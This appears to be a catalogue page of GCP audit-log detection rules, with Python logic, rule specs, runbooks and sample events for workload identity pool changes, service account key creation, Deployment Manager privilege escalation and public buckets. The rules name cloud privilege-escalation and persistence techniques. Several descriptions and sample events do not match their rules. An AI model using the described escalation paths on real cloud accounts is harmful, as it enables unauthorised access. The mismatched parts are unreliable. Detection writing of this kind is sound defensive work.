{
"insertId": "1h09dxwe33hgu",
"logName": "organizations/123456789012/logs/cloudaudit.googleapis.com%2Factivity",
"operation": {
"first": true,
"id": "locations/global/workforcePools/test-pool/operations/bigarg7n32vamefy6ximiaq000000000",
"producer": "iam.googleapis.com"
},
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user@example.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "iam.workforcePools.update",
"resource": "locations/global/workforcePools/test-pool",
"resourceAttributes": {}
}
],
"methodName": "google.iam.admin.v1.WorkforcePools.UpdateWorkforcePool",
"request": {
"@type": "type.googleapis.com/google.iam.admin.v1.UpdateWorkforcePoolRequest",
"updateMask": "description,sessionDuration,disabled,displayName",
"workforcePool": {
"description": "Test pool to facilitate detection writing",
"displayName": "Test Pool",
"name": "locations/global/workforcePools/test-pool",
"sessionDuration": "43200s"
}
},
"requestMetadata": {
"callerIp": "07da:0994:97fb:8db1:c68f:c109:fcdd:d594",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0,gzip(gfe),gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"reason": "8uSywAYQGg5Db2xpc2V1bSBGbG93cw",
"time": "2023-11-17T18:53:15.208909504Z"
}
},
"resourceName": "locations/global/workforcePools/test-pool",
"serviceName": "iam.googleapis.com"
},
"receiveTimestamp": "2023-11-17T18:53:16.523653141Z",
"resource": {
"labels": {
"method": "google.iam.admin.v1.WorkforcePools.UpdateWorkforcePool",
"service": "iam.googleapis.com"
},
"type": "audited_resource"
},
"severity": "NOTICE",
"timestamp": "2023-11-17T18:53:15.200613481Z"
}
GCP Workload Identity Pool Created or Updated
#MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence | |
| Privilege Escalation |
Telemetry coverage
Detection logic
METHODS = [
"google.iam.v1.WorkloadIdentityPools.CreateWorkloadIdentityPoolProvider",
"google.iam.v1.WorkloadIdentityPools.UpdateWorkloadIdentityPoolProvider",
]
def rule(event):
return event.deep_get("protoPayload", "methodName", default="") in METHODS
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
resource = event.deep_get("protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>").split(
"/"
)
workload_identity_pool = resource[resource.index("workloadIdentityPools") + 1]
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return (
f"GCP: [{actor}] created or updated workload identity pool "
f"[{workload_identity_pool}] in project [{project_id}]"
)
def alert_context(event):
return event.deep_get("protoPayload", "request", "workloadIdentityPoolProvider", default={})
Rule specification
AnalysisType: rule
Filename: gcp_workload_identity_pool_created_or_updated.py
RuleID: "GCP.Workload.Identity.Pool.Created.or.Updated"
DisplayName: "GCP Workload Identity Pool Created or Updated"
Enabled: true
LogTypes:
- GCP.AuditLog
Tags:
- Account Manipulation
- Additional Cloud Roles
- GCP
- Privilege Escalation
Reports:
MITRE ATT&CK:
- TA0003:T1136.003
- TA0003:T1098.003
- TA0004:T1098.003
Severity: High
DedupPeriodMinutes: 60
Threshold: 1
Runbook: >
Ensure that the Workload Identity Pool creation or modification was expected. Adversaries may use this to persist or allow additional access or escalate their privilege.
Reference: https://medium.com/google-cloud/detection-of-inbound-sso-persistence-techniques-in-gcp-c56f7b2a588b
Stages and Predicates
Fires on GCP.AuditLog events when the condition below holds.
Condition
protoPayload.methodNameis one ofgoogle.iam.v1.WorkloadIdentityPools.CreateWorkloadIdentityPoolProvider,google.iam.v1.WorkloadIdentityPools.UpdateWorkloadIdentityPoolProvider
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | in |
| field:"protoPayload.methodName" kind:in |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
principalEmail | protoPayload.authenticationInfo.principalEmail |
project_id | resource.labels.project_id |
Response runbook
Ensure that the Workload Identity Pool creation or modification was expected. Adversaries may use this to persist or allow additional access or escalate their privilege.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "1plwiv7e2lak8",
"logName": "projects/test-project/logs/cloudaudit.googleapis.com%2Factivity",
"operation": {
"first": true,
"id": "projects/1234567890123/locations/global/workloadIdentityPools/test-pool/providers/test-project/operations/bifqr6xo32vameeqtose200000000000",
"producer": "iam.googleapis.com"
},
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user@example.com",
"principalSubject": "user:user@example.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "iam.workloadIdentityPoolProviders.update",
"resource": "projects/test-project/locations/global/workloadIdentityPools/test-pool/providers/test-project",
"resourceAttributes": {}
}
],
"methodName": "google.iam.v1.WorkloadIdentityPools.UpdateWorkloadIdentityPoolProvider",
"request": {
"@type": "type.googleapis.com/google.iam.v1.UpdateWorkloadIdentityPoolProviderRequest",
"updateMask": "displayName,disabled,attributeMapping,attributeCondition,aws.accountId",
"workloadIdentityPoolProvider": {
"attributeCondition": "'admins' in google.groups",
"attributeMapping": {
"attribute.aws_role": "assertion.arn.contains('assumed-role') ? assertion.arn.extract('{account_arn}assumed-role/') + 'assumed-role/' + assertion.arn.extract('assumed-role/{role_name}/') : assertion.arn",
"google.subject": "assertion.arn"
},
"aws": {
"accountId": "123456789012"
},
"disabled": false,
"displayName": "Test Provider",
"name": "projects/test-project/locations/global/workloadIdentityPools/test-pool/providers/test-project"
}
},
"requestMetadata": {
"callerIp": "07da:0994:97fb:8db1:c68f:c109:fcdd:d594",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0,gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2023-11-17T18:56:57.745203848Z"
}
},
"resourceName": "projects/test-project/locations/global/workloadIdentityPools/test-pool/providers/test-project",
"serviceName": "iam.googleapis.com"
},
"receiveTimestamp": "2023-11-17T18:56:58.871491875Z",
"resource": {
"labels": {
"method": "google.iam.v1.WorkloadIdentityPools.UpdateWorkloadIdentityPoolProvider",
"project_id": "test-project",
"service": "iam.googleapis.com"
},
"type": "audited_resource"
},
"severity": "NOTICE",
"timestamp": "2023-11-17T18:56:57.730630771Z"
}
GCP.Iam.ServiceAccountKeys.Create
#If your user is assigned a custom IAM role, then iam.roles.update will allow you to update the “includedPermissons” on that role. Because it is assigned to you, you will gain the additional privileges, which could be anything you desire.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | any: iam.googleapis.com (any method) |
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
if not authorization_info:
return False
for auth in authorization_info:
if (
auth.get("permission") == "iam.serviceAccountKeys.create"
and auth.get("granted") is True
):
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
RuleID: "GCP.iam.serviceAccountKeys.create"
DisplayName: "GCP.Iam.ServiceAccountKeys.Create"
Description:
If your user is assigned a custom IAM role, then iam.roles.update will allow you to update
the “includedPermissons” on that role. Because it is assigned to you, you will gain the additional privileges,
which could be anything you desire.
Enabled: true
Filename: gcp_iam_service_account_key_create.py
LogTypes:
- GCP.AuditLog
Severity: High
DedupPeriodMinutes: 60
Threshold: 1
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
Runbook:
Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability
in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against
them. It’s also important to remember that privilege escalation does not necessarily need to pass through the
IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help
mitigate these security risks.
Reports:
MITRE ATT&CK:
- TA0004:T1548
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.authorizationInfois presentany element of
protoPayload.authorizationInfomatches all of:protoPayload.authorizationInfo.permissionisiam.serviceAccountKeys.createprotoPayload.authorizationInfo.grantedistrue
protoPayload.authorizationInfo.permissionisiam.serviceAccountKeys.create
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.authorizationInfo | is_not_null | field:"protoPayload.authorizationInfo" kind:is_not_null | |
protoPayload.authorizationInfo.permission | eq |
| field:"protoPayload.authorizationInfo.permission" kind:eq value:"iam.serviceAccountKeys.create" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against them. It’s also important to remember that privilege escalation does not necessarily need to pass through the IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help mitigate these security risks.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"protoPayload": {
"authorizationInfo": [
{
"granted": true,
"permission": "iam.serviceAccountKeys.create"
}
],
"methodName": "v2.deploymentmanager.deployments.insert",
"serviceName": "deploymentmanager.googleapis.com"
},
"receiveTimestamp": "2024-01-19 13:47:19.465856238",
"resource": {
"labels": {
"name": "test-vm-deployment",
"project_id": "panther-threat-research"
},
"type": "deployment"
},
"severity": "NOTICE",
"timestamp": "2024-01-19 13:47:18.279921000"
}
GCP.Privilege.Escalation.By.Deployments.Create
#Detects privilege escalation in GCP by taking over the deploymentsmanager.deployments.create permission
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | any: deploymentmanager.googleapis.com (any method) |
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
if not authorization_info:
return False
for auth in authorization_info:
if (
auth.get("permission") == "deploymentmanager.deployments.create"
and auth.get("granted") is True
):
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
RuleID: "GCP.Privilege.Escalation.By.Deployments.Create"
DisplayName: "GCP.Privilege.Escalation.By.Deployments.Create"
Description: "Detects privilege escalation in GCP by taking over the deploymentsmanager.deployments.create permission"
Enabled: true
Filename: gcp_privilege_escalation_by_deployments_create.py
LogTypes:
- GCP.AuditLog
Severity: High
DedupPeriodMinutes: 60
Threshold: 1
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
Runbook:
Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability
in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against
them. It’s also important to remember that privilege escalation does not necessarily need to pass through the
IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help
mitigate these security risks.
Reports:
MITRE ATT&CK:
- TA0004:T1548
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.authorizationInfois presentany element of
protoPayload.authorizationInfomatches all of:protoPayload.authorizationInfo.permissionisdeploymentmanager.deployments.createprotoPayload.authorizationInfo.grantedistrue
protoPayload.authorizationInfo.permissionisdeploymentmanager.deployments.create
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.authorizationInfo | is_not_null | field:"protoPayload.authorizationInfo" kind:is_not_null | |
protoPayload.authorizationInfo.permission | eq |
| field:"protoPayload.authorizationInfo.permission" kind:eq value:"deploymentmanager.deployments.create" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against them. It’s also important to remember that privilege escalation does not necessarily need to pass through the IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help mitigate these security risks.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"protoPayload": {
"authorizationInfo": [
{
"granted": true,
"permission": "deploymentmanager.deployments.create"
}
],
"methodName": "v2.deploymentmanager.deployments.insert",
"serviceName": "deploymentmanager.googleapis.com"
},
"receiveTimestamp": "2024-01-19 13:47:19.465856238",
"resource": {
"labels": {
"name": "test-vm-deployment",
"project_id": "panther-threat-research"
},
"type": "deployment"
},
"severity": "NOTICE",
"timestamp": "2024-01-19 13:47:18.279921000"
}
GCS Bucket Made Public
#Adversaries may access data objects from improperly secured cloud storage.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Collection |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | storage.setIamPermissions: Set IAM permissions on bucket |
Rules detecting the same action
These rules filter on the same operation.
- Detect New Open GCP Storage Buckets (Splunk)
- GCP GCS IAM Permission Changes (Panther)
- GCP Storage Bucket Permissions Modification (Elastic)
Detection logic
from panther_base_helpers import deep_get
GCS_READ_ROLES = {"roles/storage.objectAdmin", "roles/storage.objectViewer", "roles/storage.admin"}
GLOBAL_USERS = {"allUsers", "allAuthenticatedUsers"}
def rule(event):
if event.deep_get("protoPayload", "methodName") != "storage.setIamPermissions":
return False
service_data = event.deep_get("protoPayload", "serviceData")
if not service_data:
return False
# Reference: https://cloud.google.com/iam/docs/policies
binding_deltas = deep_get(service_data, "policyDelta", "bindingDeltas")
if not binding_deltas:
return False
for delta in binding_deltas:
if delta.get("action") != "ADD":
continue
if delta.get("member") in GLOBAL_USERS and delta.get("role") in GCS_READ_ROLES:
return True
return False
def title(event):
return (
f"GCS bucket "
f"[{event.deep_get('resource', 'labels', 'bucket_name', default='<UNKNOWN_BUCKET>')}] "
f"made public"
)
Rule specification
AnalysisType: rule
Filename: gcp_gcs_public.py
RuleID: "GCP.GCS.Public"
DisplayName: "GCS Bucket Made Public"
Enabled: true
DedupPeriodMinutes: 15
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Google Cloud Storage
- Collection:Data From Cloud Storage Object
Reports:
MITRE ATT&CK:
- TA0009:T1530
Severity: High
Description: Adversaries may access data objects from improperly secured cloud storage.
Runbook: Validate the GCS bucket change was safe.
Reference: https://cloud.google.com/storage/docs/access-control/making-data-public
SummaryAttributes:
- severity
- p_any_ip_addresses
- p_any_domain_names
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.methodNameisstorage.setIamPermissionsprotoPayload.serviceDatais presentprotoPayload.serviceData.policyDelta.bindingDeltasis presentany element of
protoPayload.serviceData.policyDelta.bindingDeltasmatches all of:protoPayload.serviceData.policyDelta.bindingDeltas.actionisADDprotoPayload.serviceData.policyDelta.bindingDeltas.memberis one ofallUsers,allAuthenticatedUsersprotoPayload.serviceData.policyDelta.bindingDeltas.roleis one ofroles/storage.objectAdmin,roles/storage.objectViewer,roles/storage.admin
Indicators
These rows show field, operator, and value matches.
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
bucket_name | resource.labels.bucket_name |
Response runbook
Validate the GCS bucket change was safe.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "15cp9rve72xt1",
"logName": "projects/western-verve-123456/logs/cloudaudit.googleapis.com%2Factivity",
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user.name@runpanther.io"
},
"authorizationInfo": [
{
"granted": true,
"permission": "storage.buckets.setIamPolicy",
"resource": "projects/_/buckets/jacks-test-bucket",
"resourceAttributes": {}
}
],
"methodName": "storage.setIamPermissions",
"requestMetadata": {
"callerIp": "136.24.229.58",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36,gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2020-05-15T04:28:42.243082428Z"
}
},
"resourceLocation": {
"currentLocations": [
"us"
]
},
"resourceName": "projects/_/buckets/jacks-test-bucket",
"serviceData": {
"@type": "type.googleapis.com/google.iam.v1.logging.AuditData",
"policyDelta": {
"bindingDeltas": [
{
"action": "ADD",
"member": "allUsers",
"role": "roles/storage.objectViewer"
}
]
}
},
"serviceName": "storage.googleapis.com",
"status": {}
},
"receiveTimestamp": "2020-05-15T04:28:42.900626148Z",
"resource": {
"labels": {
"bucket_name": "jacks-test-bucket",
"location": "us",
"project_id": "western-verve-123456"
},
"type": "gcs_bucket"
},
"severity": "NOTICE",
"timestamp": "2020-05-15T04:28:42.237027213Z"
}